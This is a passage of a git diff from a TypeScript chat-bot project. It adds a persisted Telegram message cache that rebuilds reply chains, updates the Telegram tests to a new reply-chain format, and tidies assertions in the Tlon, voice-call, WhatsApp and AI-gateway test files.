getRuntimeConfig.mockReturnValue(DEFAULT_TELEGRAM_TEST_CONFIG); sessionStoreEntries.value = {}; + rmSync(`${sessionStorePath}.telegram-messages.json`, { force: true }); loadSessionStoreMock.mockReset(); loadSessionStoreMock.mockImplementation(() => sessionStoreEntries.value); resolveStorePathMock.mockReset(); diff --git a/extensions/telegram/src/bot.create-telegram-bot.test.ts b/extensions/telegram/src/bot.create-telegram-bot.test.ts index e482a82e0e4..f0bc091c6aa 100644 --- a/extensions/telegram/src/bot.create-telegram-bot.test.ts +++ b/extensions/telegram/src/bot.create-telegram-bot.test.ts @@ -2424,8 +2424,10 @@ describe("createTelegramBot", () => { expect(replySpy).toHaveBeenCalledTimes(1); const payload = replySpy.mock.calls[0][0]; - expect(payload.Body).toContain("[Replying to Ada id:9001]"); + expect(payload.Body).toContain("[Reply chain - nearest first]"); + expect(payload.Body).toContain("[1. Ada id:9001]"); expect(payload.Body).toContain("Can you summarize this?"); + expect(payload.Body).toContain("[/Reply chain]"); expect(payload.ReplyToId).toBe("9001"); expect(payload.ReplyToBody).toBe("Can you summarize this?"); expect(payload.ReplyToSender).toBe("Ada"); diff --git a/extensions/telegram/src/bot.test.ts b/extensions/telegram/src/bot.test.ts index c37941a2633..6f7e74d6315 100644 --- a/extensions/telegram/src/bot.test.ts +++ b/extensions/telegram/src/bot.test.ts @@ -1564,7 +1564,8 @@ describe("createTelegramBot", () => { expect(replySpy).toHaveBeenCalledTimes(1); const payload = replySpy.mock.calls[0][0]; - expect(payload.Body).toContain("[Quoting Ada id:9001]"); + expect(payload.Body).toContain("[Reply chain - nearest first]"); + expect(payload.Body).toContain("[1. Ada id:9001]"); expect(payload.Body).toContain('"summarize this"'); expect(payload.ReplyToId).toBe("9001"); expect(payload.ReplyToBody).toBe("summarize this"); @@ -1601,7 +1602,8 @@ describe("createTelegramBot", () => { expect(replySpy).toHaveBeenCalledTimes(1); const payload = replySpy.mock.calls[0][0]; - expect(payload.Body).toContain("[Replying to Ada id:9001]"); + expect(payload.Body).toContain("[Reply chain - nearest first]"); + expect(payload.Body).toContain("[1. Ada id:9001]"); expect(payload.Body).not.toContain("PK"); expect(payload.Body).not.toContain("unsafe reply text omitted"); expect(payload.ReplyToBody).toBeUndefined(); @@ -1665,6 +1667,110 @@ describe("createTelegramBot", () => { expect(mediaFetch).toHaveBeenCalledTimes(1); }); + it("hydrates reply chains from cached Telegram messages", async () => { + onSpy.mockClear(); + replySpy.mockClear(); + getFileSpy.mockClear(); + + const mediaFetch = vi.fn( + async () => + new Response(new Uint8Array([0x89, 0x50, 0x4e, 0x47]), { + status: 200, + headers: { "content-type": "image/png" }, + }), + ); + const ssrfMock = mockPinnedHostnameResolution(); + + try { + createTelegramBot({ + token: "tok", + telegramTransport: { + fetch: mediaFetch as typeof fetch, + sourceFetch: mediaFetch as typeof fetch, + close: async () => {}, + }, + }); + const handler = getOnHandler("message") as (ctx: Record) => Promise; + + await handler({ + message: { + chat: { id: 7, type: "private" }, + message_id: 9000, + date: 1736380700, + from: { id: 1, first_name: "Kesava" }, + photo: [{ file_id: "root-photo-1" }], + }, + me: { username: "openclaw_bot" }, + getFile: async () => ({ file_path: "media/root.jpg" }), + }); + + await handler({ + message: { + chat: { id: 7, type: "private" }, + message_id: 9001, + text: "r u back from hermes", + date: 1736380750, + from: { id: 2, first_name: "Ada" }, + reply_to_message: { + message_id: 9000, + photo: [{ file_id: "root-photo-1" }], + from: { id: 1, first_name: "Kesava" }, + }, + }, + me: { username: "openclaw_bot" }, + getFile: async () => ({ download: async () => new Uint8Array() }), + }); + + replySpy.mockClear(); + getFileSpy.mockClear(); + mediaFetch.mockClear(); + + await handler({ + message: { + chat: { id: 7, type: "private" }, + message_id: 9002, + text: "why did you reply?", + date: 1736380800, + from: { id: 3, first_name: "Grace" }, + reply_to_message: { + message_id: 9001, + text: "r u back from hermes", + from: { id: 2, first_name: "Ada" }, + }, + }, + me: { username: "openclaw_bot" }, + getFile: async () => ({ download: async () => new Uint8Array() }), + }); + } finally { + ssrfMock.mockRestore(); + } + + expect(replySpy).toHaveBeenCalledTimes(1); + const payload = replySpy.mock.calls[0][0] as { + ReplyChain?: Array<{ + messageId?: string; + body?: string; + mediaPath?: string; + mediaRef?: string; + replyToId?: string; + }>; + }; + expect(payload.ReplyChain).toEqual([ + expect.objectContaining({ + messageId: "9001", + body: "r u back from hermes", + replyToId: "9000", + }), + expect.objectContaining({ + messageId: "9000", + mediaRef: "telegram:file/root-photo-1", + }), + ]); + expect(payload.ReplyChain?.[1]?.mediaPath).toBeTruthy(); + expect(getFileSpy).toHaveBeenCalledWith("root-photo-1"); + expect(mediaFetch).toHaveBeenCalledTimes(1); + }); + it("does not fetch reply media for unauthorized DM replies", async () => { onSpy.mockClear(); replySpy.mockClear(); @@ -1833,7 +1939,8 @@ describe("createTelegramBot", () => { expect(replySpy).toHaveBeenCalledTimes(1); const payload = replySpy.mock.calls[0][0]; - expect(payload.Body).toContain("[Quoting unknown sender]"); + expect(payload.Body).toContain("[Reply chain - nearest first]"); + expect(payload.Body).toContain("[1. unknown sender]"); expect(payload.Body).toContain('"summarize this"'); expect(payload.ReplyToId).toBeUndefined(); expect(payload.ReplyToBody).toBe("summarize this"); @@ -1868,7 +1975,8 @@ describe("createTelegramBot", () => { expect(replySpy).toHaveBeenCalledTimes(1); const payload = replySpy.mock.calls[0][0]; - expect(payload.Body).toContain("[Quoting Ada id:9002]"); + expect(payload.Body).toContain("[Reply chain - nearest first]"); + expect(payload.Body).toContain("[1. Ada id:9002]"); expect(payload.Body).toContain('"summarize this"'); expect(payload.ReplyToId).toBe("9002"); expect(payload.ReplyToBody).toBe("summarize this"); @@ -2638,7 +2746,9 @@ describe("createTelegramBot", () => { createTelegramBot({ token: "tok" }); const reactionHandler = onSpy.mock.calls.find((call) => call[0] === "message_reaction"); expect(reactionHandler?.[0]).toBe("message_reaction"); - expect(reactionHandler?.[1]).toEqual(expect.any(Function)); + if (typeof reactionHandler?.[1] !== "function") { + throw new Error("expected message_reaction handler"); + } }); it("enqueues system event for reaction", async () => { diff --git a/extensions/telegram/src/fetch.test.ts b/extensions/telegram/src/fetch.test.ts index e4fab4bdc83..599206c6ce4 100644 --- a/extensions/telegram/src/fetch.test.ts +++ b/extensions/telegram/src/fetch.test.ts @@ -571,7 +571,8 @@ describe("resolveTelegramFetch", () => { ); }); - it("exports fallback dispatcher attempts for Telegram media downloads", () => { + it("exports fallback dispatcher attempts for Telegram media downloads", async () => { + undiciFetch.mockResolvedValueOnce({ ok: true } as Response); const transport = resolveTelegramTransport(undefined, { network: { autoSelectFamily: true, @@ -579,7 +580,13 @@ describe("resolveTelegramFetch", () => { }, }); - expect(transport.sourceFetch).toEqual(expect.any(Function)); + await expect( + transport.sourceFetch("https://api.telegram.org/botTOKEN/getFile"), + ).resolves.toEqual({ ok: true }); + expect(undiciFetch).toHaveBeenCalledWith( + "https://api.telegram.org/botTOKEN/getFile", + undefined, + ); expect(transport.fetch).not.toBe(transport.sourceFetch); expect(transport.dispatcherAttempts).toHaveLength(3); diff --git a/extensions/telegram/src/format.wrap-md.test.ts b/extensions/telegram/src/format.wrap-md.test.ts index 55de0205185..324c1ccdc22 100644 --- a/extensions/telegram/src/format.wrap-md.test.ts +++ b/extensions/telegram/src/format.wrap-md.test.ts @@ -6,6 +6,32 @@ import { wrapFileReferencesInHtml, } from "./format.js"; +type TelegramChunk = ReturnType[number]; + +function expectHtmlChunkLengthsAtMost(chunks: TelegramChunk[], limit: number) { + expect( + chunks + .map((chunk, index) => ({ index, htmlLength: chunk.html.length, text: chunk.text })) + .filter((chunk) => chunk.htmlLength > limit), + ).toEqual([]); +} + +function expectNonBlankTextChunks(chunks: TelegramChunk[]) { + expect( + chunks + .map((chunk, index) => ({ index, text: chunk.text })) + .filter((chunk) => chunk.text.trim().length === 0), + ).toEqual([]); +} + +function expectHtmlChunksWrappedWith(chunks: TelegramChunk[], prefix: string, suffix: string) { + expect( + chunks + .map((chunk, index) => ({ index, html: chunk.html })) + .filter((chunk) => !chunk.html.startsWith(prefix) || !chunk.html.endsWith(suffix)), + ).toEqual([]); +} + describe("wrapFileReferencesInHtml", () => { it("wraps supported file references and paths", () => { const cases = [ @@ -164,7 +190,7 @@ describe("markdownToTelegramChunks - file reference wrapping", () => { const chunks = markdownToTelegramChunks(input, 512); expect(chunks.length).toBeGreaterThan(1); expect(chunks.map((chunk) => chunk.text).join("")).toBe(input); - expect(chunks.every((chunk) => chunk.html.length <= 512)).toBe(true); + expectHtmlChunkLengthsAtMost(chunks, 512); }); it("preserves whitespace when html-limit retry splitting runs", () => { @@ -172,7 +198,7 @@ describe("markdownToTelegramChunks - file reference wrapping", () => { const chunks = markdownToTelegramChunks(input, 5); expect(chunks.length).toBeGreaterThan(1); expect(chunks.map((chunk) => chunk.text).join("")).toBe(input); - expect(chunks.every((chunk) => chunk.html.length <= 5)).toBe(true); + expectHtmlChunkLengthsAtMost(chunks, 5); }); it("prefers word boundaries when escaped html shrinks the retry window", () => { @@ -180,14 +206,14 @@ describe("markdownToTelegramChunks - file reference wrapping", () => { const chunks = markdownToTelegramChunks(input, 8); expect(chunks.map((chunk) => chunk.text).join("")).toBe(input); expect(chunks[0]?.text).toBe("alpha "); - expect(chunks.every((chunk) => chunk.html.length <= 8)).toBe(true); + expectHtmlChunkLengthsAtMost(chunks, 8); }); it("prefers word boundaries when html-limit retry splits formatted prose", () => { const input = "**Which of these**"; const chunks = markdownToTelegramChunks(input, 16); expect(chunks.map((chunk) => chunk.text)).toEqual(["Which of ", "these"]); - expect(chunks.every((chunk) => chunk.html.length <= 16)).toBe(true); + expectHtmlChunkLengthsAtMost(chunks, 16); }); it("preserves formatting while splitting at word boundaries", () => { @@ -195,10 +221,8 @@ describe("markdownToTelegramChunks - file reference wrapping", () => { const chunks = markdownToTelegramChunks(input, 13); expect(chunks.map((chunk) => chunk.text).join("")).toBe("alpha <<"); expect(chunks[0]?.text).toBe("alpha "); - expect(chunks.every((chunk) => chunk.html.length <= 13)).toBe(true); - expect( - chunks.every((chunk) => chunk.html.startsWith("") && chunk.html.endsWith("")), - ).toBe(true); + expectHtmlChunkLengthsAtMost(chunks, 13); + expectHtmlChunksWrappedWith(chunks, "", ""); }); it("does not rely on monotonic html length for sliced file refs", () => { @@ -207,7 +231,7 @@ describe("markdownToTelegramChunks - file reference wrapping", () => { expect(chunks.map((chunk) => chunk.text).join("")).toBe(input); expect(chunks[0]?.text).toBe("README.md"); expect(chunks[0]?.html).toBe("README.md"); - expect(chunks.every((chunk) => chunk.html.length <= 22)).toBe(true); + expectHtmlChunkLengthsAtMost(chunks, 22); }); it("gracefully returns the original chunk when tag overhead exceeds the limit", () => { @@ -223,29 +247,29 @@ describe("markdownToTelegramChunks - file reference wrapping", () => { const input = "**foo (bar baz qux quux**"; const chunks = markdownToTelegramChunks(input, 20); expect(chunks.map((chunk) => chunk.text)).toEqual(["foo", "(bar baz qux ", "quux"]); - expect(chunks.every((chunk) => chunk.html.length <= 20)).toBe(true); + expectHtmlChunkLengthsAtMost(chunks, 20); }); it("falls back to hard splits when a single word exceeds the limit", () => { const input = "supercalifragilistic"; const chunks = markdownToTelegramChunks(input, 8); expect(chunks.map((chunk) => chunk.text)).toEqual(["supercal", "ifragili", "stic"]); - expect(chunks.every((chunk) => chunk.html.length <= 8)).toBe(true); + expectHtmlChunkLengthsAtMost(chunks, 8); }); it("does not emit whitespace-only chunks during html-limit retry splitting", () => { const input = "**ab <<**"; const chunks = markdownToTelegramChunks(input, 11); expect(chunks.map((chunk) => chunk.text).join("")).toBe("ab <<"); - expect(chunks.every((chunk) => chunk.text.trim().length > 0)).toBe(true); - expect(chunks.every((chunk) => chunk.html.length <= 11)).toBe(true); + expectNonBlankTextChunks(chunks); + expectHtmlChunkLengthsAtMost(chunks, 11); }); it("preserves paragraph separators when retry chunking produces whitespace-only spans", () => { const input = "ab\n\n<<"; const chunks = markdownToTelegramChunks(input, 6); expect(chunks.map((chunk) => chunk.text).join("")).toBe(input); - expect(chunks.every((chunk) => chunk.html.length <= 6)).toBe(true); + expectHtmlChunkLengthsAtMost(chunks, 6); }); }); diff --git a/extensions/telegram/src/message-cache.test.ts b/extensions/telegram/src/message-cache.test.ts new file mode 100644 index 00000000000..04608709f0b --- /dev/null +++ b/extensions/telegram/src/message-cache.test.ts @@ -0,0 +1,150 @@ +import { rm } from "node:fs/promises"; +import type { Message } from "@grammyjs/types"; +import { describe, expect, it } from "vitest"; +import { + buildTelegramReplyChain, + createTelegramMessageCache, + resolveTelegramMessageCachePath, +} from "./message-cache.js"; + +describe("telegram message cache", () => { + it("hydrates reply chains from persisted cached messages", async () => { + const storePath = `/tmp/openclaw-telegram-message-cache-${process.pid}-${Date.now()}.json`; + const persistedPath = resolveTelegramMessageCachePath(storePath); + await rm(persistedPath, { force: true }); + try { + const firstCache = createTelegramMessageCache({ persistedPath }); + firstCache.record({ + accountId: "default", + chatId: 7, + msg: { + chat: { id: 7, type: "private", first_name: "Kesava" }, + message_id: 9000, + date: 1736380700, + from: { id: 1, is_bot: false, first_name: "Kesava" }, + photo: [ + { file_id: "photo-1", file_unique_id: "photo-unique-1", width: 640, height: 480 }, + ], + } as Message, + }); + firstCache.record({ + accountId: "default", + chatId: 7, + msg: { + chat: { id: 7, type: "private", first_name: "Ada" }, + message_id: 9001, + date: 1736380750, + text: "The cache warmer is the piece I meant", + from: { id: 2, is_bot: false, first_name: "Ada" }, + reply_to_message: { + chat: { id: 7, type: "private", first_name: "Kesava" }, + message_id: 9000, + date: 1736380700, + from: { id: 1, is_bot: false, first_name: "Kesava" }, + photo: [ + { file_id: "photo-1", file_unique_id: "photo-unique-1", width: 640, height: 480 }, + ], + } as Message["reply_to_message"], + } as Message, + }); + + const secondCache = createTelegramMessageCache({ persistedPath }); + const chain = buildTelegramReplyChain({ + cache: secondCache, + accountId: "default", + chatId: 7, + msg: { + chat: { id: 7, type: "private", first_name: "Grace" }, + message_id: 9002, + text: "Please explain what this reply was about", + from: { id: 3, is_bot: false, first_name: "Grace" }, + reply_to_message: { + chat: { id: 7, type: "private", first_name: "Ada" }, + message_id: 9001, + date: 1736380750, + text: "The cache warmer is the piece I meant", + from: { id: 2, is_bot: false, first_name: "Ada" }, + } as Message["reply_to_message"], + } as Message, + }); + + expect(chain).toEqual([ + expect.objectContaining({ + messageId: "9001", + body: "The cache warmer is the piece I meant", + replyToId: "9000", + }), + expect.objectContaining({ + messageId: "9000", + mediaRef: "telegram:file/photo-1", + mediaType: "image", + }), + ]); + } finally { + await rm(persistedPath, { force: true }); + } + }); + + it("shares one persisted bucket across live cache instances", async () => { + const storePath = `/tmp/openclaw-telegram-message-cache-shared-${process.pid}-${Date.now()}.json`; + const persistedPath = resolveTelegramMessageCachePath(storePath); + await rm(persistedPath, { force: true }); + try { + const firstCache = createTelegramMessageCache({ persistedPath }); + const secondCache = createTelegramMessageCache({ persistedPath }); + firstCache.record({ + accountId: "default", + chatId: 7, + msg: { + chat: { id: 7, type: "private", first_name: "Nora" }, + message_id: 9100, + date: 1736380700, + text: "Architecture sketch for the cache warmer", + from: { id: 1, is_bot: false, first_name: "Nora" }, + } as Message, + }); + secondCache.record({ + accountId: "default", + chatId: 7, + msg: { + chat: { id: 7, type: "private", first_name: "Ira" }, + message_id: 9101, + date: 1736380750, + text: "The cache warmer is the piece I meant", + from: { id: 2, is_bot: false, first_name: "Ira" }, + reply_to_message: { + chat: { id: 7, type: "private", first_name: "Nora" }, + message_id: 9100, + date: 1736380700, + text: "Architecture sketch for the cache warmer", + from: { id: 1, is_bot: false, first_name: "Nora" }, + } as Message["reply_to_message"], + } as Message, + }); + + const reloadedCache = createTelegramMessageCache({ persistedPath }); + const chain = buildTelegramReplyChain({ + cache: reloadedCache, + accountId: "default", + chatId: 7, + msg: { + chat: { id: 7, type: "private", first_name: "Mina" }, + message_id: 9102, + text: "Please explain what this reply was about", + from: { id: 3, is_bot: false, first_name: "Mina" }, + reply_to_message: { + chat: { id: 7, type: "private", first_name: "Ira" }, + message_id: 9101, + date: 1736380750, + text: "The cache warmer is the piece I meant", + from: { id: 2, is_bot: false, first_name: "Ira" }, + } as Message["reply_to_message"], + } as Message, + }); + + expect(chain.map((entry) => entry.messageId)).toEqual(["9101", "9100"]); + } finally { + await rm(persistedPath, { force: true }); + } + }); +}); diff --git a/extensions/telegram/src/message-cache.ts b/extensions/telegram/src/message-cache.ts new file mode 100644 index 00000000000..c71eb042337 --- /dev/null +++ b/extensions/telegram/src/message-cache.ts @@ -0,0 +1,295 @@ +import fs from "node:fs"; +import type { Message } from "@grammyjs/types"; +import { formatLocationText } from "openclaw/plugin-sdk/channel-inbound"; +import type { MsgContext } from "openclaw/plugin-sdk/reply-runtime"; +import { logVerbose } from "openclaw/plugin-sdk/runtime-env"; +import { replaceFileAtomicSync } from "openclaw/plugin-sdk/security-runtime"; +import { resolveTelegramPrimaryMedia } from "./bot/body-helpers.js"; +import { + buildSenderName, + extractTelegramLocation, + getTelegramTextParts, + normalizeForwardedContext, +} from "./bot/helpers.js"; + +export type TelegramReplyChainEntry = NonNullable[number]; + +export type TelegramCachedMessageNode = TelegramReplyChainEntry & { + sourceMessage: Message; +}; + +export type TelegramMessageCache = { + record: (params: { + accountId: string; + chatId: string | number; + msg: Message; + threadId?: number; + }) => TelegramCachedMessageNode | null; + get: (params: { + accountId: string; + chatId: string | number; + messageId?: string; + }) => TelegramCachedMessageNode | null; +}; + +type MessageWithExternalReply = Message & { external_reply?: Message }; + +type TelegramMessageCacheBucket = { + messages: Map; +}; + +const DEFAULT_MAX_MESSAGES = 5000; +const persistedMessageCacheBuckets = new Map(); + +function telegramMessageCacheKey(params: { + accountId: string; + chatId: string | number; + messageId: string; +}) { + return `${params.accountId}:${params.chatId}:${params.messageId}`; +} + +export function resolveTelegramMessageCachePath(storePath: string): string { + return `${storePath}.telegram-messages.json`; +} + +function resolveReplyMessage(msg: Message): Message | undefined { + const externalReply = (msg as MessageWithExternalReply).external_reply; + return msg.reply_to_message ?? externalReply; +} + +function resolveMessageBody(msg: Message): string | undefined { + const text = getTelegramTextParts(msg).text.trim(); + if (text) { + return text; + } + const location = extractTelegramLocation(msg); + if (location) { + return formatLocationText(location); + } + return resolveTelegramPrimaryMedia(msg)?.placeholder; +} + +function resolveMediaType(placeholder?: string): string | undefined { + return placeholder?.match(/^]+)>$/)?.[1]; +} + +function normalizeMessageNode( + msg: Message, + params: { threadId?: number }, +): TelegramCachedMessageNode | null { + if (typeof msg.message_id !== "number") { + return null; + } + const media = resolveTelegramPrimaryMedia(msg); + const fileId = media?.fileRef.file_id; + const forwardedFrom = normalizeForwardedContext(msg); + const replyMessage = resolveReplyMessage(msg); + const body = resolveMessageBody(msg); + return { + sourceMessage: msg, + messageId: String(msg.message_id), + sender: buildSenderName(msg) ?? "unknown sender", + ...(msg.from?.id != null ? { senderId: String(msg.from.id) } : {}), + ...(msg.from?.username ? { senderUsername: msg.from.username } : {}), + ...(msg.date ? { timestamp: msg.date * 1000 } : {}), + ...(body ? { body } : {}), + ...(media ? { mediaType: resolveMediaType(media.placeholder) ?? media.placeholder } : {}), + ...(fileId ? { mediaRef: `telegram:file/${fileId}` } : {}), + ...(replyMessage?.message_id != null ? { replyToId: String(replyMessage.message_id) } : {}), + ...(forwardedFrom?.from ? { forwardedFrom: forwardedFrom.from } : {}), + ...(forwardedFrom?.fromId ? { forwardedFromId: forwardedFrom.fromId } : {}), + ...(forwardedFrom?.fromUsername ? { forwardedFromUsername: forwardedFrom.fromUsername } : {}), + ...(forwardedFrom?.date ? { forwardedDate: forwardedFrom.date * 1000 } : {}), + ...(params.threadId != null ? { threadId: String(params.threadId) } : {}), + }; +} + +function isRecord(value: unknown): value is Record { + return typeof value === "object" && value !== null && !Array.isArray(value); +} + +function isString(value: unknown): value is string { + return typeof value === "string" && value.length > 0; +} + +function readOptionalString(record: Record, key: string): string | undefined { + const value = record[key]; + return isString(value) ? value : undefined; +} + +function isTelegramSourceMessage(value: unknown): value is Message { + return ( + isRecord(value) && + typeof value.message_id === "number" && + Number.isFinite(value.message_id) && + typeof value.date === "number" && + Number.isFinite(value.date) + ); +} + +function parsePersistedNode(value: unknown): TelegramCachedMessageNode | null { + if (!isRecord(value) || !isTelegramSourceMessage(value.sourceMessage)) { + return null; + } + const threadId = Number(readOptionalString(value, "threadId")); + return normalizeMessageNode(value.sourceMessage, Number.isFinite(threadId) ? { threadId } : {}); +} + +function readPersistedMessages(filePath: string, maxMessages: number) { + const messages = new Map(); + if (!fs.existsSync(filePath)) { + return messages; + } + try { + const parsed = JSON.parse(fs.readFileSync(filePath, "utf-8")); + if (!Array.isArray(parsed)) { + return messages; + } + for (const entry of parsed.slice(-maxMessages)) { + if (!isRecord(entry) || !isString(entry.key)) { + continue; + } + const node = parsePersistedNode(entry.node); + if (node) { + messages.set(entry.key, node); + } + } + } catch (error) { + logVerbose(`telegram: failed to read message cache: ${String(error)}`); + } + return messages; +} + +function persistMessages(params: { + messages: Map; + persistedPath?: string; +}) { + const { persistedPath, messages } = params; + if (!persistedPath) { + return; + } + if (messages.size === 0) { + fs.rmSync(persistedPath, { force: true }); + return; + } + const serialized = Array.from(messages, ([key, node]) => ({ + key, + node: { + sourceMessage: node.sourceMessage, + ...(node.threadId ? { threadId: node.threadId } : {}), + }, + })); + replaceFileAtomicSync({ + filePath: persistedPath, + content: JSON.stringify(serialized), + tempPrefix: ".telegram-message-cache", + }); +} + +function resolveMessageCacheBucket(params: { + persistedPath?: string; + maxMessages: number; +}): TelegramMessageCacheBucket { + const { persistedPath, maxMessages } = params; + if (!persistedPath) { + return { messages: new Map() }; + } + const existing = persistedMessageCacheBuckets.get(persistedPath); + if (existing) { + if (!fs.existsSync(persistedPath)) { + existing.messages.clear(); + } + return existing; + } + const bucket = { + messages: readPersistedMessages(persistedPath, maxMessages), + }; + persistedMessageCacheBuckets.set(persistedPath, bucket); + return bucket; +} + +export function createTelegramMessageCache(params?: { + maxMessages?: number; + persistedPath?: string; +}): TelegramMessageCache { + const maxMessages = params?.maxMessages ?? DEFAULT_MAX_MESSAGES; + const { messages } = resolveMessageCacheBucket({ + persistedPath: params?.persistedPath, + maxMessages, + }); + + const get: TelegramMessageCache["get"] = ({ accountId, chatId, messageId }) => { + if (!messageId) { + return null; + } + const key = telegramMessageCacheKey({ accountId, chatId, messageId }); + const entry = messages.get(key); + if (!entry) { + return null; + } + messages.delete(key); + messages.set(key, entry); + return entry; + }; + + return { + record: ({ accountId, chatId, msg, threadId }) => { + const entry = normalizeMessageNode(msg, { threadId }); + if (!entry?.messageId) { + return null; + } + const key = telegramMessageCacheKey({ accountId, chatId, messageId: entry.messageId }); + messages.delete(key); + messages.set(key, entry); + while (messages.size > maxMessages) { + const oldest = messages.keys().next().value; + if (oldest === undefined) { + break; + } + messages.delete(oldest); + } + try { + persistMessages({ messages, persistedPath: params?.persistedPath }); + } catch (error) { + logVerbose(`telegram: failed to persist message cache: ${String(error)}`); + } + return entry; + }, + get, + }; +} + +export function buildTelegramReplyChain(params: { + cache: TelegramMessageCache; + accountId: string; + chatId: string | number; + msg: Message; + maxDepth?: number; +}): TelegramCachedMessageNode[] { + const replyMessage = resolveReplyMessage(params.msg); + if (!replyMessage?.message_id) { + return []; + } + const maxDepth = params.maxDepth ?? 4; + const visited = new Set(); + const chain: TelegramCachedMessageNode[] = []; + let current = + params.cache.get({ + accountId: params.accountId, + chatId: params.chatId, + messageId: String(replyMessage.message_id), + }) ?? normalizeMessageNode(replyMessage, {}); + + while (current?.messageId && chain.length < maxDepth && !visited.has(current.messageId)) { + visited.add(current.messageId); + chain.push(current); + current = params.cache.get({ + accountId: params.accountId, + chatId: params.chatId, + messageId: current.replyToId, + }); + } + + return chain; +} diff --git a/extensions/tlon/src/channel.message-adapter.test.ts b/extensions/tlon/src/channel.message-adapter.test.ts index 1e74064a89d..8596f1e5b98 100644 --- a/extensions/tlon/src/channel.message-adapter.test.ts +++ b/extensions/tlon/src/channel.message-adapter.test.ts @@ -47,10 +47,12 @@ describe("tlon channel message adapter", () => { if (!adapter?.send?.text || !adapter.send.media) { throw new Error("expected tlon channel message adapter with text and media senders"); } + const sendText = adapter.send.text; + const sendMedia = adapter.send.media; const proveText = async () => { mocks.sendText.mockClear(); - const result = await adapter.send.text({ + const result = await sendText({ cfg, to: "chat/~nec/general", text: "hello", @@ -70,7 +72,7 @@ describe("tlon channel message adapter", () => { const proveMedia = async () => { mocks.sendMedia.mockClear(); - const result = await adapter.send.media({ + const result = await sendMedia({ cfg, to: "chat/~nec/general", text: "image", @@ -92,7 +94,7 @@ describe("tlon channel message adapter", () => { const proveReplyThread = async () => { mocks.sendText.mockClear(); - const result = await adapter!.send!.text!({ + const result = await adapter.send!.text!({ cfg, to: "chat/~nec/general", text: "threaded", @@ -112,14 +114,14 @@ describe("tlon channel message adapter", () => { await verifyChannelMessageAdapterCapabilityProofs({ adapterName: "tlonMessageAdapter", - adapter: adapter!, + adapter: adapter, proofs: { text: proveText, media: proveMedia, replyTo: proveReplyThread, thread: proveReplyThread, messageSendingHooks: () => { - expect(adapter!.send!.text).toBeTypeOf("function"); + expect(adapter.send!.text).toBeTypeOf("function"); }, }, }); diff --git a/extensions/vercel-ai-gateway/thinking.test.ts b/extensions/vercel-ai-gateway/thinking.test.ts index 29a6ec5a9a5..58a3d60cb88 100644 --- a/extensions/vercel-ai-gateway/thinking.test.ts +++ b/extensions/vercel-ai-gateway/thinking.test.ts @@ -49,7 +49,9 @@ describe("vercel ai gateway thinking profile", () => { levels: expect.arrayContaining([{ id: "adaptive" }]), defaultLevel: "adaptive", }); - expect(profile?.levels.some((level) => level.id === "xhigh" || level.id === "max")).toBe(false); + expect( + profile?.levels.map((level) => level.id).filter((id) => id === "xhigh" || id === "max"), + ).toEqual([]); }); it("falls through for unsupported OpenAI or untrusted namespaced refs", async () => { diff --git a/extensions/voice-call/src/media-stream.test.ts b/extensions/voice-call/src/media-stream.test.ts index 69296050588..ca97f288614 100644 --- a/extensions/voice-call/src/media-stream.test.ts +++ b/extensions/voice-call/src/media-stream.test.ts @@ -203,7 +203,7 @@ describe("MediaStreamHandler security hardening", () => { ); await flush(); await vi.waitFor(() => { - expect(talkEvents.some((event) => event.type === "session.ready")).toBe(true); + expect(talkEvents.map((event) => event.type)).toContain("session.ready"); }); ws.send( @@ -234,7 +234,7 @@ describe("MediaStreamHandler security hardening", () => { ws.close(); await waitForClose(ws); await vi.waitFor(() => { - expect(talkEvents.some((event) => event.type === "session.closed")).toBe(true); + expect(talkEvents.map((event) => event.type)).toContain("session.closed"); }); expect(talkEvents.map((event) => event.type)).toEqual([ diff --git a/extensions/voice-call/src/webhook.test.ts b/extensions/voice-call/src/webhook.test.ts index 224fe1fbf31..83254d182fd 100644 --- a/extensions/voice-call/src/webhook.test.ts +++ b/extensions/voice-call/src/webhook.test.ts @@ -1121,7 +1121,7 @@ describe("VoiceCallWebhookServer pre-auth webhook guards", () => { unblockReadBodies(); const settled = await Promise.all(inFlightRequests); - expect(settled.every((response) => response.status === 200)).toBe(true); + expect(settled.map((response) => response.status)).toEqual(Array(8).fill(200)); } finally { unblockReadBodies(); readBodySpy.mockRestore(); @@ -1196,7 +1196,7 @@ describe("VoiceCallWebhookServer pre-auth webhook guards", () => { unblockReadBodies(); const settled = await Promise.all(inFlightRequests); - expect(settled.every((response) => response.statusCode === 200)).toBe(true); + expect(settled.map((response) => response.statusCode)).toEqual(Array(8).fill(200)); } finally { unblockReadBodies(); readBodySpy.mockRestore(); diff --git a/extensions/voice-call/src/webhook/realtime-handler.test.ts b/extensions/voice-call/src/webhook/realtime-handler.test.ts index 8220ff6a59c..bf26d206773 100644 --- a/extensions/voice-call/src/webhook/realtime-handler.test.ts +++ b/extensions/voice-call/src/webhook/realtime-handler.test.ts @@ -1206,13 +1206,16 @@ describe("RealtimeCallHandler websocket hardening", () => { }), ); await vi.waitFor(() => { - expect(sendProviderAudio).toEqual(expect.any(Function)); + if (!sendProviderAudio) { + throw new Error("expected realtime provider audio sender"); + } }); - if (!sendProviderAudio) { + const providerAudioSender = sendProviderAudio; + if (!providerAudioSender) { throw new Error("expected realtime provider audio sender"); } - sendProviderAudio(Buffer.alloc(8_000 * 121, 0x7f)); + providerAudioSender(Buffer.alloc(8_000 * 121, 0x7f)); const closed = await waitForClose(ws); expect(closed.code).toBe(1013); diff --git a/extensions/whatsapp/setup-entry.test.ts b/extensions/whatsapp/setup-entry.test.ts index a66272eb919..6c997e225b1 100644 --- a/extensions/whatsapp/setup-entry.test.ts +++ b/extensions/whatsapp/setup-entry.test.ts @@ -16,7 +16,18 @@ describe("whatsapp setup entry", () => { const whatsappSetupPlugin = setupEntry.loadSetupPlugin(); expect(whatsappSetupPlugin.id).toBe("whatsapp"); - expect(setupEntry.loadLegacyStateMigrationDetector?.()).toEqual(expect.any(Function)); + const detectLegacyStateMigrations = setupEntry.loadLegacyStateMigrationDetector?.(); + if (!detectLegacyStateMigrations) { + throw new Error("expected WhatsApp legacy state migration detector"); + } + expect( + detectLegacyStateMigrations({ + cfg: {}, + env: {}, + oauthDir: "/tmp/openclaw-whatsapp-empty", + stateDir: "/tmp/openclaw-state", + }), + ).toEqual([]); expect(setupEntry.loadLegacySessionSurface?.()).toEqual({ canonicalizeLegacySessionKey: expect.any(Function), isLegacyGroupSessionKey: expect.any(Function), diff --git a/extensions/whatsapp/src/auto-reply.web-auto-reply.connection-and-logging.e2e.test.ts b/extensions/whatsapp/src/auto-reply.web-auto-reply.connection-and-logging.e2e.test.ts index 5d6a1cb3300..bf19703872d 100644 --- 